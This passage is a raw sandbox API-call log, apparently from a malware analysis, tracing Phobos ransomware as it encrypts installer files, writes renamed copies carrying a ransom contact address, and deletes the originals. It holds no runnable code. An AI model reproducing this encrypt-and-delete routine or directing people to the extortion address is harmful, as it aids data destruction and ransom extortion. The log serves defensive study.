"c:\\588bce7c90097ed212\\1040\\localizeddata.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.482] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0047.482] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0047.482] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0047.482] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0047.483] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10ccb0) returned 1 [0047.483] CryptSetKeyParam (hKey=0x10ccb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0047.483] ReadFile (in: hFile=0x310, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x138bc, lpOverlapped=0x0) returned 1 [0047.485] CryptEncrypt (in: hKey=0x10ccb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x138c0, dwBufLen=0x138c0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x138c0) returned 1 [0047.485] WriteFile (in: hFile=0x318, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x138c0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x138c0, lpOverlapped=0x0) returned 1 [0047.488] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cdf0) returned 1 [0047.488] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0047.488] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x50, dwBufLen=0x50 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x50) returned 1 [0047.488] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0047.488] WriteFile (in: hFile=0x318, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x102, lpOverlapped=0x0) returned 1 [0047.488] CryptDestroyKey (hKey=0x10ccb0) returned 1 [0047.488] CloseHandle (hObject=0x310) returned 1 [0047.488] CloseHandle (hObject=0x318) returned 1 [0047.490] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml")) returned 1 [0047.492] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0047.492] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0047.492] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=10125) returned 1 [0047.492] CloseHandle (hObject=0x318) returned 1 [0047.492] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf")) returned 0x80 [0047.492] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\eula.rtf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.492] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0047.492] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0047.492] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0047.492] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\eula.rtf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0047.493] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10ce70) returned 1 [0047.493] CryptSetKeyParam (hKey=0x10ce70, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0047.493] ReadFile (in: hFile=0x318, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x278d, lpOverlapped=0x0) returned 1 [0047.635] CryptEncrypt (in: hKey=0x10ce70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x2790, dwBufLen=0x2790 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x2790) returned 1 [0047.635] WriteFile (in: hFile=0x310, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x2790, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x2790, lpOverlapped=0x0) returned 1 [0047.636] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10ceb0) returned 1 [0047.636] CryptSetKeyParam (hKey=0x10ceb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0047.636] CryptEncrypt (in: hKey=0x10ceb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0047.636] CryptDestroyKey (hKey=0x10ceb0) returned 1 [0047.637] WriteFile (in: hFile=0x310, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0047.637] CryptDestroyKey (hKey=0x10ce70) returned 1 [0047.637] CloseHandle (hObject=0x318) returned 1 [0047.637] CloseHandle (hObject=0x310) returned 1 [0047.637] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf")) returned 1 [0047.639] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0047.639] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0047.639] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=79634) returned 1 [0047.639] CloseHandle (hObject=0x310) returned 1 [0047.639] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml")) returned 0x80 [0047.639] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.639] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0047.639] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0047.640] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0047.640] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0047.640] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cd30) returned 1 [0047.640] CryptSetKeyParam (hKey=0x10cd30, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0047.640] ReadFile (in: hFile=0x310, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x13712, lpOverlapped=0x0) returned 1 [0047.642] CryptEncrypt (in: hKey=0x10cd30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x13720, dwBufLen=0x13720 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x13720) returned 1 [0047.642] WriteFile (in: hFile=0x318, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x13720, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x13720, lpOverlapped=0x0) returned 1 [0047.644] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cdf0) returned 1 [0047.644] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0047.644] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x50, dwBufLen=0x50 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x50) returned 1 [0047.644] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0047.644] WriteFile (in: hFile=0x318, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x102, lpOverlapped=0x0) returned 1 [0047.644] CryptDestroyKey (hKey=0x10cd30) returned 1 [0047.644] CloseHandle (hObject=0x310) returned 1 [0047.644] CloseHandle (hObject=0x318) returned 1 [0047.913] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml")) returned 1 [0047.914] SetEvent (hEvent=0x2e8) returned 1 [0047.915] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0047.915] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0047.915] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=80738) returned 1 [0047.915] CloseHandle (hObject=0x318) returned 1 [0047.915] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml")) returned 0x80 [0047.915] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.915] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0047.916] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0047.916] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0047.916] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0047.916] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cdf0) returned 1 [0047.916] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0047.916] ReadFile (in: hFile=0x318, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x13b62, lpOverlapped=0x0) returned 1 [0047.918] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x13b70, dwBufLen=0x13b70 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x13b70) returned 1 [0047.918] WriteFile (in: hFile=0x320, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x13b70, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x13b70, lpOverlapped=0x0) returned 1 [0047.921] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10d1b0) returned 1 [0047.921] CryptSetKeyParam (hKey=0x10d1b0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0047.921] CryptEncrypt (in: hKey=0x10d1b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x50, dwBufLen=0x50 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x50) returned 1 [0047.921] CryptDestroyKey (hKey=0x10d1b0) returned 1 [0047.921] WriteFile (in: hFile=0x320, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x102, lpOverlapped=0x0) returned 1 [0047.921] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0047.921] CloseHandle (hObject=0x318) returned 1 [0047.921] CloseHandle (hObject=0x320) returned 1 [0047.923] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml")) returned 1 [0047.925] SetEvent (hEvent=0x2e8) returned 1 [0047.925] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0047.925] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0047.926] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=54456) returned 1 [0047.926] CloseHandle (hObject=0x320) returned 1 [0047.926] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf")) returned 0x80 [0047.926] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\eula.rtf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.926] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0047.926] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0047.926] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0047.926] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\eula.rtf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0047.927] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10caf0) returned 1 [0047.927] CryptSetKeyParam (hKey=0x10caf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0047.927] ReadFile (in: hFile=0x320, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0xd4b8, lpOverlapped=0x0) returned 1 [0047.928] CryptEncrypt (in: hKey=0x10caf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xd4c0, dwBufLen=0xd4c0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xd4c0) returned 1 [0047.928] WriteFile (in: hFile=0x318, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xd4c0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xd4c0, lpOverlapped=0x0) returned 1 [0047.930] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10d170) returned 1 [0047.930] CryptSetKeyParam (hKey=0x10d170, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0047.930] CryptEncrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0047.930] CryptDestroyKey (hKey=0x10d170) returned 1 [0047.930] WriteFile (in: hFile=0x318, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0047.930] CryptDestroyKey (hKey=0x10caf0) returned 1 [0047.930] CloseHandle (hObject=0x320) returned 1 [0047.930] CloseHandle (hObject=0x318) returned 1 [0047.932] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf")) returned 1 [0047.933] SetEvent (hEvent=0x2e8) returned 1 [0047.933] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0047.933] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0047.934] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=81482) returned 1 [0047.934] CloseHandle (hObject=0x318) returned 1 [0047.934] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml")) returned 0x80 [0047.934] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.934] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0047.934] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0047.934] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0047.934] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0047.934] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cdf0) returned 1 [0047.934] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0047.934] ReadFile (in: hFile=0x318, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x13e4a, lpOverlapped=0x0) returned 1 [0047.936] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x13e50, dwBufLen=0x13e50 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x13e50) returned 1 [0047.936] WriteFile (in: hFile=0x320, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x13e50, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x13e50, lpOverlapped=0x0) returned 1 [0047.938] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10caf0) returned 1 [0047.938] CryptSetKeyParam (hKey=0x10caf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0047.938] CryptEncrypt (in: hKey=0x10caf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x50, dwBufLen=0x50 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x50) returned 1 [0047.938] CryptDestroyKey (hKey=0x10caf0) returned 1 [0047.938] WriteFile (in: hFile=0x320, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x102, lpOverlapped=0x0) returned 1 [0047.938] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0047.938] CloseHandle (hObject=0x318) returned 1 [0047.938] CloseHandle (hObject=0x320) returned 1 [0047.940] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml")) returned 1 [0047.942] SetEvent (hEvent=0x2e8) returned 1 [0047.942] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0047.942] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0047.942] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d1f7a0 | out: 